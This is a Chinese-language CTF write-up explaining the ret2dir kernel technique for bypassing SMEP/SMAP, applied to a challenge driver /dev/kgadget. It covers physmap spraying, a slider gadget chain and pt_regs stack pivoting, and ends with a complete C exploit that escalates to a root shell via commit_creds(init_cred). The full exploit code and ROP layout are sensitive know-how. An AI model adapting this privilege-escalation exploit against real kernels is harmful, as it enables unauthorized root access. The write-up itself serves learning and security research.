-
关于 ret2dir
用来绕 smep、smap、pxn 等用户空间与内核空间隔离的防护手段。
首先,在内核中存在 direct mapping area,线性地直接映射了整个物理内存空间。这就意味着,对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址与内核空间地址到物理页框的映射,那么对这两个地址访问时都是映射到了同一个物理页框。
在开启 smep 和 smap 的时候,内核空间无法直接访问用户空间,但可以利用这块 direct mapping area,用一个内核空间上的地址访问到用户空间的数据。
在 ret2dir 中,在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到,
新版的内核中 direct mapping area 没有执行权限,但依然可以用 ROP。
利用思路大致就是:
- 利用 mmap 在用户空间大量喷射内存
- 利用漏洞泄露出内核的堆上地址(kmalloc),这个地址直接来自于线性映射区
- 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到在用户空间喷射的内存
此时获得了一个映射到用户空间的内核空间地址,可以通过这个内核空间地址直接访问到用户空间的数据,实现绕过隔离防护。
内存搜索可以用 physmap spray 来代替,就是说使用 mmap 喷射大量的物理内存写入同样的 payload,之后随机挑选一个线性映射区上的地址进行利用。
-
漏洞分析
能用的点在 ioctl 中
这里的 _x86_indirect_thunk_rbx (retpoline技术) 可以看作
__asm__("jmp rbx");
相当于对第三个参数解引用,跳到其指向的地址上执行,可以直接劫持控制流。
启动参数中没开 kaslr,不需要泄露地址,只需要考虑如何在内核空间布置恶意数据,这里用 ret2dir 可以直接在用户空间布置恶意数据,再在内核空间中的这块区域中找到用户空间数据对应的内核空间地址。
为了能确定恶意数据在内核空间中对应的地址,直接使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个 direct mapping area 上的地址进行利用。
然后就是 gadget 和 rop chain 的构造,可以用形如 add rsp, val;ret 的 gadget 跳到内核栈上的 pt_regs 上,在上面布置提权的 rop chain,但在本题中用 qmemcpy 对内核栈做了清理,只有 r9 和 r8 两个寄存器可用。
pt_regs 结构:
struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long bp; unsigned long bx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long ax; unsigned long cx; unsigned long dx; unsigned long si; unsigned long di; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */ unsigned long orig_ax; /* Return frame for iretq */ unsigned long ip; unsigned long cs; unsigned long flags; unsigned long sp; unsigned long ss; /* top of stack page */ };
可以利用 pop_rsp; ret 的 gadget 进行栈迁移,把栈移到用户空间所布置的恶意数据上,然后直接在恶意数据靠后的位置布置提权降落回用户态的 rop chain。(利用 滑梯 slider)
------------------------ add rsp, val ; ret add rsp, val ; ret add rsp, val ; ret add rsp, val ; ret ... add rsp, val ; ret # 该gadget必定会命中下一个区域中的一条ret,之后便能平缓地“滑”到常规的提权 rop 上 ------------------------ ret ret ... ret ------------------------ common root ROP chain ------------------------
具体的 ROP 编写,和之前 qwb2018-core 也有很大的不同,之前的 ROP 是:
pop rdi; ret prepare_kernel_cred(0) pop rdx; ret pop rcx; ret mov rdi, rax; call rdx; commit_creds swapgs; popfq; ret iretq; ret;
很尴尬的就是找不到 mov rdi, rax; 这样的 gadget,无法直接用 commit_creds(prepare_kernel_cred(NULL)) 来提权,这个函数调用能提权的原理,就是最终调用了 commit_creds(init_cred),其中 init_cred 在 .data 段,表示 root 权限的 creds 结构体。
同样,也找不到 iretq; ret 这样的 gadget,原文中使用了 swapgs_restore_regs_and_return_to_usermode来返回用户态。(位于 arch/x86/entry/entry_64.S),具体操作大概就是:
mov rdi, cr3 or rdi, 0x1000 mov cr3, rdi pop rax pop rdi swapgs iretq
因此我们只需要布置出如下栈布局即可完美降落回用户态:
↓ swapgs_restore_regs_and_return_to_usermode 0 // padding 0 // padding user_shell_addr user_cs user_rflags user_sp user_ss
最后的 exp:
#define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> size_t prepare_kernel_cred = 0xffffffff810c9540; size_t commit_creds = 0xffffffff810c92e0; size_t init_cred = 0xffffffff82a6b700; size_t pop_rdi_ret = 0xffffffff8108c6f0; size_t pop_rax_ret = 0xffffffff810115d4; size_t pop_rsp_ret = 0xffffffff811483d0; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27; size_t add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353; size_t add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54; size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe; size_t ret = 0xffffffff8108c6f1; void (*kgadget_ptr)(void); size_t *physmap_spray_arr[16000]; size_t page_size; size_t try_hit; int dev_fd; size_t user_cs, user_ss, user_rflags, user_sp; void save_status(void) { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } void err_exit(char * msg) { printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg); exit(EXIT_FAILURE); } void get_root_shell(void) { puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m"); if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); exit(-1); } puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m"); system("/bin/sh"); exit(0);// to exit the process normally instead of segmentation fault } void construct_rop_chain(size_t *rop) { int idx = 0; // gadget to trigger pt_regs and for slide for (; idx < (page_size / 8 - 0x30); idx++) rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret; // more normal slide code for (; idx < (page_size / 8 - 0x10); idx++) rop[idx] = ret; // rop chain rop[idx++] = pop_rdi_ret; rop[idx++] = init_cred; rop[idx++] = commit_creds; rop[idx++] = swapgs_restore_regs_and_return_to_usermode; rop[idx++] = *(size_t*) "moonflower"; rop[idx++] = *(size_t*) "moonflower"; rop[idx++] = (size_t) get_root_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp; rop[idx++] = user_ss; } int main() { save_status(); dev_fd = open("/dev/kgadget", O_RDWR); if (dev_fd < 0) err_exit("dev fd!"); page_size = sysconf(_SC_PAGESIZE); // construct per-page rop chain physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); construct_rop_chain(physmap_spray_arr[0]); // spray physmap, so that we can easily hit one of them puts("[**] Spraying physmap..."); for(int i = 1; i < 15000; i++) { physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (!physmap_spray_arr[i]) err_exit("oom for physmap spray!"); memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size); } puts("[*] trigger physmap one_gadget..."); try_hit = 0xffff888000000000 + 0x7000000; __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, pop_rsp_ret;" // stack migration again "mov r8, try_hit;" "mov rax, 0x10;" "mov rcx, 0xaaaaaaaa;" "mov rdx, try_hit;" "mov rsi, 0x1bf52;" "mov rdi, dev_fd;" "syscall" ); }
-
参考文献
- https://blog.arttnba3.cn/2021/03/03/PWN-0X01-LINUX-KERNEL-PWN-PART-I/#返回用户态-with-KPTI-bypass
- http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf
- https://elixir.bootlin.com/linux/latest/source/Documentation/x86/x86_64/mm.rst
- https://www.anquanke.com/post/id/185408
- https://www.cnblogs.com/crybaby/p/14431651.html
- https://blog.csdn.net/weixin_42915431/article/details/105622584
- https://icode.best/i/27401549425327
- https://www.anquanke.com/post/id/266897
- https://blog.csdn.net/qq_45323960/article/details/125512122